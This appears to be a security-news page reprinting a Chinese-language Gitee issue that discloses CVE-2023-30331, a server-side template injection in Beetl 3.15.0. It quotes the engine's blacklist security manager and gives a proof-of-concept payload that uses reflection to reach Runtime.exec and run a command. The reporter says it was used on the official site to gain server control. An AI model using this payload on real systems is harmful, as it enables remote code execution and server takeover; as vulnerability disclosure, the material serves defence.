Security
Headlines
HeadlinesLatestCVEs

Headline

CVE-2023-30331: Beetl 存在 SSTI 漏洞[BUG] · Issue #I6RUIP · 闲.大赋(李家智)/Beetl - Gitee.com

An issue in the render function of beetl v3.15.0 allows attackers to execute server-side template injection (SSTI) via a crafted payload.

CVE
#js#git#java

对比其他模板引擎,Beetl的安全策略需要加强

Beetl-3.15.0-vuln-poc****Beetl直到最新版本都存在SSTI(模版注入)漏洞

  • 对于安全管理器的策略采用的是黑名单的机制

    public class DefaultNativeSecurityManager implements NativeSecurityManager{

        @Override
        public boolean permit(String resourceId, Class c, Object target, String method){
                if (c.isArray()){
                        //允许调用,但实际上会在在其后调用中报错。不归此处管理
                        return true;
                }
                String name = c.getSimpleName();
                String pkg = c.getPackage().getName();
                if (pkg.startsWith("java.lang")){
                        if (name.equals("Runtime") || name.equals("Process") || name.equals("ProcessBuilder")
                                        || name.equals("System")){
                                return false;
                        }
                }
                return true;
        }
    

    }

  • 如果使用反射(java reflect)即可以绕过黑名单的一切策略

  • poc

${@Class.forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("s='open -a Calculator';java.lang.Runtime.getRuntime().exec(s);")}
  • 拿官方的网站做例子 我输入了以下payload仅用于测试

  • 并成功拿到服务器的控制权限

修复建议

  • 限制反射(java reflect)

报告人

@陈再

参考

  • https://github.com/luelueking/Beetl-3.15.0-vuln-poc

Related news

GHSA-m69h-4frq-vwq7: Server-side template injection in beetl

An issue in the render function of beetl v3.15.0 allows attackers to execute server-side template injection (SSTI) via a crafted payload.

CVE: Latest News

CVE-2023-50976: Transactions API Authorization by oleiman · Pull Request #14969 · redpanda-data/redpanda